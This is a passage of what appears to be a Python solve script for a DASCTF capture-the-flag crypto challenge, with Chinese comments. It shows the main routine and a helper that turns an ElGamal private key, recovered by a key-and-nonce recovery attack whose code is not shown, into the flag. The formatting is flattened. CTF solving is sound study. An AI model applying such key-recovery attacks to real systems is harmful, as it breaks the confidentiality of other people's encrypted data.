extract_flag_from_key (private_key ): """从私钥中提取 flag 字符串""" key_bytes = private_key.to_bytes(BLOCK_SIZE, "big" ) print (f"[+] 填充字节: {key_bytes!r} " ) flag_chars = [] for byte in key_bytes: if 32 <= byte < 127 : flag_chars.append(chr (byte)) else : break return "DASCTF{" + "" .join(flag_chars) + "}" def main (): print ("[*] 开始 ElGamal 私钥恢复攻击..." ) private_key, nonces = full_private_key_recovery() print (f"\n[+] 成功恢复私钥:" ) print (f" d mod p = {private_key} " ) print (f"\n[+] 恢复的 nonce 值:" ) for idx, nonce in enumerate (nonces): print (f" k[{idx} ] = {hex (nonce)} " ) flag = extract_flag_from_key(private_key) print (f"\n[*] 提取的 Flag: {flag} " ) if __name__ == "__main__" : main()